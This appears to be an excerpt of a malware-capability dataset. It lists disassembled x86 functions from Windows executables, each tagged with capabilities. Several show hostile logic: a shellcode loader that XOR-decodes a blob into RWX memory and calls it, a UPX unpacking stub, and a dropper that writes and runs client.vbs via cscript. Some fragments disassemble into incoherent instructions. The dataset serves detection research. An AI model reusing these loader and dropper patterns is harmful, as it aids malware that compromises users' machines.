joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401318
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0x5818
call fcn.004019ec
call fcn.004017e0
lea ebx, [ebp - 0x580c]
mov esi, str.A1A_Q
mov ecx, 0x15fd
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
call sub.KERNEL32.dll_FreeConsole
mov esi, dword [ebp - 0x618]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x57f4
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov edi, eax
xor ecx, ecx
nop
mov edx, edi
mov al, byte [ebx + ecx]
mov byte [edi + ecx], al
inc ecx
cmp ecx, 0x57f4
jne 0x401384
lea ecx, [edi + 0x51f4]
nop
xor dword [edx], esi
add esi, 0x499602d2
add edx, 4
cmp edx, ecx
jne 0x40139c
call edi
xor eax, eax
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
leave
lea esp, [ecx - 4]
ret

Function at 0x4014d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x4014f6
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x40158a
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401545
cmp eax, 0x40
je 0x401545
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x4014e9
cmp eax, 0x40
je 0x4014e9
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x4014e9
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sub.msvcrt.dll__assert
lea esi, [esi]
lea edi, [edi]
Function at 0x414e60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x414e7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414e81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414e70
mov eax, 1
add ebx, ebx
jne 0x414e93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414e88
jne 0x414ea4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414e88
xor ecx, ecx
sub eax, 3
jb 0x414eb8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414f2a
mov ebp, eax
add ebx, ebx
jne 0x414ec3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414ef4
inc ecx
add ebx, ebx
jne 0x414ee0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414ed5
jne 0x414ef1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414ed5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414f14
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414f05
jmp 0x414e76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414f14
add edi, ecx
jmp 0x414e76
pop esi
mov edi, esi
mov ecx, 0x5a7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414f32
cmp byte [edi], 5
jne 0x414f32
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414f37
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414fa6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x15454]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1551c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414f64
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x15520]
or eax, eax
je 0x414fa0
mov dword [ebx], eax
add ebx, 4
jmp 0x414f81
call dword [esi + 0x15530]
mov ebp, dword [esi + 0x15524]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414fda
sub esp, 0xffffff80
jmp 0x40a764

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x156351a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x1920170b
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40155f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x234
mov eax, esp
mov ebx, eax
mov dword [esp + 4], 0x404068
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.Tamanio_del_archivo_recibido:__i_n
call sym._printf
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp + 0x10]
add eax, 1
lea edx, [eax - 1]
mov dword [ebp - 0x18], edx
mov edx, eax
mov eax, 0x10
sub eax, 1
add eax, edx
mov ecx, 0x10
mov edx, 0
div ecx
imul eax, eax, 0x10
call fcn.004027c0
sub esp, eax
lea eax, [esp + 0x14]
add eax, 0
mov dword [ebp - 0x1c], eax
mov dword [esp + 8], 0xfd
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x11a]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x14]
add eax, 0xfd
mov dword [esp + 8], 0xfd
mov dword [esp + 4], eax
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._memcpy
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x14]
lea ecx, [eax + 0x1fa]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x218]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x11a]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._Decodificar
mov dword [esp], str.Fin_de_porgrama
call sym._puts
nop
mov esp, ebx
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x401cc0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call sym.___acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401d20
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x4053a0]
test esi, esi
jle 0x401e20
mov eax, dword [0x4053a4]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401d50
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401dcf
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401d40
mov dword [esp], ebx
call sym.___mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401e47
mov eax, dword [0x4053a4]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym.__GetPEImageBase
mov edx, dword [0x4053a4]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401e27
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401dc8
sub eax, 4
and eax, 0xfffffffb
jne 0x401dd6
add dword [0x4053a0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
add ebx, dword [0x4053a4]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401dc8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
xor esi, esi
jmp 0x401d5a
mov eax, dword [0x4053a4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
lea esi, [esi]
nop

Function at 0x402240
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4053b0]
sub esp, 4
test ebx, ebx
je 0x402292
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40228b
test esi, esi
je 0x40228b
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40226d
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40cd90
Capabilities:
Create process on windows

Disassembly:
enter 0x560, 0
push ebx
push ecx
push edx
mov esi, dword [ebp + 0xc]
lea edi, [ebp - 0x108]
call fcn.00401940
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x208]
call fcn.00401940
lea eax, [ebp - 0x360]
push eax
lea ebx, [ebp - 0x108]
push ebx
call fcn.00409530
lea edi, [ebp - 0x108]
lea esi, [ebp - 0x360]
call fcn.00401940
mov eax, esi
push eax
lea ebx, [ebp - 0x208]
push ebx
call fcn.00409530
lea edi, [ebp - 0x208]
lea esi, [ebp - 0x360]
call fcn.00401940
lea eax, [ebp - 0x250]
push eax
push 0x44
call fcn.0040cee0
mov dword [ebp - 0x250], 0x44
mov dword [ebp - 0x20c], 0x417da0
lea esi, [ebp - 0x108]
lea edi, [ebp - 0x560]
call fcn.00401b30
mov esi, 0x417d86
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x460]
call fcn.00401b30
lea esi, [ebp - 0x208]
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x360]
call fcn.00401b30
mov esi, 0x417d88
call fcn.00401af0
mov edi, 0x417d9f
lea esi, [ebp - 0x360]
call fcn.00401940
lea eax, [ebp - 0x260]
push eax
lea ebx, [ebp - 0x250]
push ebx
push 0
push 0
push 0x220
push 0
push 0
push 0
push 0x417da0
push 0
call sub.kernel32.dll_CreateProcessA
test al, al
jne 0x40cecd
cmp dword [0x42ee72], 1
jg 0x40cebd
push 0
push 0x417d8a
push dword [ebp - 0x20c]
push 0
call sub.user32.dll_MessageBoxA
cmp dword [0x42ee72], 0
jne 0x40cecd
push 0
call fcn.00403420
pop edx
pop ecx
pop ebx
leave
ret 8
Function at 0x40d8a0
Capabilities:
Create process on windows

Disassembly:
enter 0x514, 0
push ebx
push ecx
push edx
lea edi, [ebp - 0x214]
mov esi, 0x41c8d6
call fcn.00401940
mov eax, 0
mov dword [ebp - 0xc], eax
mov eax, 0
mov ecx, pe_nt_image_headers32
lea edi, [ebp - 0x10c]
jecxz 0x40d8d3
rep stosb byte es:[edi], al
mov esi, 0x41c8d8
lea edi, [ebp - 0x414]
call fcn.00401b30
lea eax, [ebp - 0x514]
push eax
push dword [ebp + 8]
call fcn.0040b150
lea esi, [ebp - 0x514]
lea edi, [ebp - 0x414]
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x314]
call fcn.00401b30
mov esi, 0x41c8ee
call fcn.00401af0
lea edi, [ebp - 0x10c]
lea esi, [ebp - 0x314]
call fcn.00401940
mov eax, 0
mov ecx, 0x44
mov edi, 0x436c20
jecxz 0x40d93e
rep stosb byte es:[edi], al
mov eax, 0
mov ecx, 0x10
mov edi, 0x436c10
jecxz 0x40d951
rep stosb byte es:[edi], al
mov dword [0x436c20], 0x44
mov dword [ebp - 0x110], 0x103
push 0
call sub.kernel32.dll_SetLastError
call fcn.00402760
test eax, eax
je 0x40d975
call fcn.00406770
test al, al
je 0x40d98e
mov al, byte [0x4168fe]
test al, al
je 0x40d98c
jmp 0x40daea
jmp 0x40d975
push 1
push 0x64
call sub.kernel32.dll_SleepEx
call fcn.00406770
test al, al
je 0x40d9b0
mov al, byte [0x4168fe]
test al, al
je 0x40d9ae
jmp 0x40daea
jmp 0x40d997
push 1
push 0x64
call sub.kernel32.dll_SleepEx
push 0x41e748
push 0xf
push 0x41c8f0
push 0
call fcn.00402d70
lea eax, [ebp - 0x10c]
push eax
push 0
call fcn.00402780
call fcn.00402d50
push 0x436c10
push 0x436c20
push 0
push 0
push 0x4000020
push 1
push 0
push 0
lea eax, [ebp - 0x10b]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test al, al
jne 0x40da2b
push 0
push 0x41c8ff
push 0x41c91d
push 0
call sub.user32.dll_MessageBoxA
push 0
call sub.user32.dll_PostQuitMessage
push 0
call fcn.00403420
call fcn.00406770
test al, al
je 0x40da36
jmp 0x40da2b
push 1
push 0x64
call sub.kernel32.dll_SleepEx
call fcn.00406770
test al, al
je 0x40da4a
jmp 0x40da3f
push 1
push 0xa
call sub.kernel32.dll_SleepEx
call sub.kernel32.dll_GetLastError
mov dword [ebp - 0x114], eax
push 0x1388
push dword [0x436c10]
call sub.user32.dll_WaitForInputIdle
mov dword [ebp - 0x114], eax
push 0x64
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x110]
push eax
push dword [0x436c10]
call sub.kernel32.dll_GetExitCodeProcess
test al, al
jne 0x40da91
cmp dword [ebp - 0x110], 0x103
je 0x40da74
push dword [0x436c10]
call sub.kernel32.dll_CloseHandle
push dword [0x436c14]
call sub.kernel32.dll_CloseHandle
cmp dword [ebp - 0x110], 0
jbe 0x40dac5
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0xc], eax
push 0x41e748
push 0x19
push 0x41c92f
push 0
call fcn.00402d70
push dword [ebp - 0x110]
push 0
call fcn.00406730
call fcn.00402d50
mov eax, dword [ebp - 0xc]
pop edx
pop ecx
pop ebx
leave
ret 4
Function at 0x408ac0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sbb dword [ecx + 0xc4d580c], 0x56
mov esi, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 0x4d]
push 0x4d
mov esi, dword [ebx + 0x5518006a]
cld
mov dword [ebp - 0x4a], eax
push 0
push edx
mov edx, dword [ecx + 4]
lea eax, [ebp - 0x3d]
push 1
push eax
push edx
cmovne edi, esp
add ch, dh
add byte [eax], al
call dword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0x43
lahf
sub al, 0x57
sub dword [0x8440c1d8], edi
inc dword [ecx + 0xa0da585]
mov dword [esi], eax
pop edi
popal
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40ab8c
Capabilities:
Encode data using xor

Disassembly:
call fcn.0040aa78
sub ecx, ecx
sub cx, 0xfeaf
call 0x40ab8c
rcr byte [esi - 0x7f], 0x76
push cs
jp 0x40ac07
sub ecx, dword [esi - 0x1d03117d]
hlt
int 0x39
push ecx
xchg ebp, eax
fist dword [eax + edx*2]
and ah, 0xb5
or ebp, dword cs:[edx]
invalid
Function at 0x401750
Capabilities:
Terminate process

Disassembly:
cdq
mov ebp, esp
xchg byte [ebp + 8], al
lodsd eax, dword [esi]
mov eax, sym.imp.MSVCRT.dll__iob
push eax
add ecx, 0x40
inc eax
push 0x40d274
push ecx
call dword [sym.imp.MSVCRT.dll_fprintf]
mov eax, dword [0x41adac]
add esp, 0xc
test eax, eax
je 0x401787
push eax
push 0x40d285
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
push 1
call dword [sym.imp.MSVCRT.dll_exit]
aas

Function at 0x404ad9
Capabilities:
Encode data using xor

Disassembly:
pop esi
push esi
xor dword [esi], ebx
lodsd eax, dword [esi]
add ebx, eax
test eax, eax
jne 0x404adb
ret
Function at 0x401311
Capabilities:
Encode data using xor

Disassembly:
jmp 0x417620
push ebx
mov ebx, dword [esp + 0xc]
push edi
xor edi, edi
test ebx, ebx
je 0x417771
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
nop dword [eax]
call esi
sub byte [edi + ebp], 0x52
call esi
add byte [edi + ebp], 0xc6
call esi
xor byte [edi + ebp], 0xe0
call esi
add byte [edi + ebp], 0xde
call esi
add byte [edi + ebp], 0x93
call esi
add byte [edi + ebp], 0xca
call esi
add byte [edi + ebp], 0x22
call esi
xor byte [edi + ebp], 0x99
call esi
add byte [edi + ebp], 0x6b
call esi
add byte [edi + ebp], 0xc9
call esi
xor byte [edi + ebp], 0xe
call esi
add byte [edi + ebp], 0xd6
call esi
add byte [edi + ebp], 0xbe
call esi
add byte [edi + ebp], 0x6c
call esi
add byte [edi + ebp], 0xe
call esi
add byte [edi + ebp], 0xf9
call esi
xor byte [edi + ebp], 0xe7
call esi
add byte [edi + ebp], 0x9f
call esi
add byte [edi + ebp], 0x83
call esi
add byte [edi + ebp], 0x20
call esi
add byte [edi + ebp], 0xc5
call esi
add byte [edi + ebp], 0x63
call esi
add byte [edi + ebp], 7
call esi
add byte [edi + ebp], 0x5a
call esi
add byte [edi + ebp], 0x1d
call esi
xor byte [edi + ebp], 0xf6
call esi
add byte [edi + ebp], 0x71
call esi
add byte [edi + ebp], 0xf0
call esi
add byte [edi + ebp], 7
call esi
add byte [edi + ebp], 0xba
call esi
add byte [edi + ebp], 0xea
call esi
xor byte [edi + ebp], 0xbe
call esi
xor byte [edi + ebp], 0xf7
call esi
xor byte [edi + ebp], 0x72
call esi
add byte [edi + ebp], 0xbf
call esi
add byte [edi + ebp], 0x5d
call esi
xor byte [edi + ebp], 0xc4
call esi
add byte [edi + ebp], 0x2d
call esi
add byte [edi + ebp], 0xd8
call esi
xor byte [edi + ebp], 0xb7
call esi
add byte [edi + ebp], 0xb6
call esi
xor byte [edi + ebp], 0x2c
call esi
add byte [edi + ebp], 0xcb
call esi
xor byte [edi + ebp], 0x28
call esi
add byte [edi + ebp], 0xee
call esi
xor byte [edi + ebp], 0x81
call esi
add byte [edi + ebp], 6
call esi
add byte [edi + ebp], 0xb
call esi
add byte [edi + ebp], 0x55
inc edi
cmp edi, ebx
jb 0x417640
pop esi
pop ebp
pop edi
pop ebx
ret

Function at 0x402e0a
Capabilities:
Terminate process

Disassembly:
jmp 0x42b239
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x42b24a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00404a11
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x402f09
Capabilities:
Query environment variable

Disassembly:
jmp 0x45d7b9
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x45d7ca
pop esi
ret
push ebx
push edi
push esi
call fcn.0045d6a0
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403666
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x45d7f2
push ebx
push esi
push edi
call fcn.0040487c
add esp, 0xc
push 0
call fcn.0040514b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x401000
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Read file via mapping
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push 0xa
push 1
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
push str.TEMP
call fcn.00402697
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push str.client.vbs
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 8]
push edx
push 0
push 0
push 0xf001f
push 0
mov eax, dword [ebp - 8]
push eax
push 0
push 4
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x4010a6
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jge 0x4010c0
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 4]
mov al, byte [edx]
mov byte [ecx], al
jmp 0x40109d
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x44
push 0
lea edx, [ebp - 0x6c]
push edx
call fcn.00401c40
add esp, 0xc
mov dword [ebp - 0x6c], 0x44
push 0x10
push 0
lea eax, [ebp - 0x28]
push eax
call fcn.00401c40
add esp, 0xc
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x6c]
push edx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push str.cscript_client.vbs
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40566a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040532a
Function at 0x412082
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x418680], 0
push ebx
push esi
mov esi, 0x418688
jne 0x4120ae
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x4186a0], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x418680], 1
push dword [0x4186a0]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x41214b
push 0x14
push 8
push dword [0x418010]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x412175
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x418684]
test eax, eax
je 0x4120f0
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x418684], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x41217a
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x4186a0]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x418010]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x412175
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x40123a
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e8
push edi
and dword [ebp - 0xc], 0
mov byte [ebp - 0x110], 0
mov dword [ebp - 4], 1
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x390]
push eax
call sub.iphlpapi.DLL_GetAdaptersInfo
mov dword [ebp - 8], eax
push 0
call sub.KERNEL32.dll_DeleteFileA
cmp dword [ebp - 4], 0
jne 0x4013f1
call eax
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 8
mov eax, dword [ebp - 8]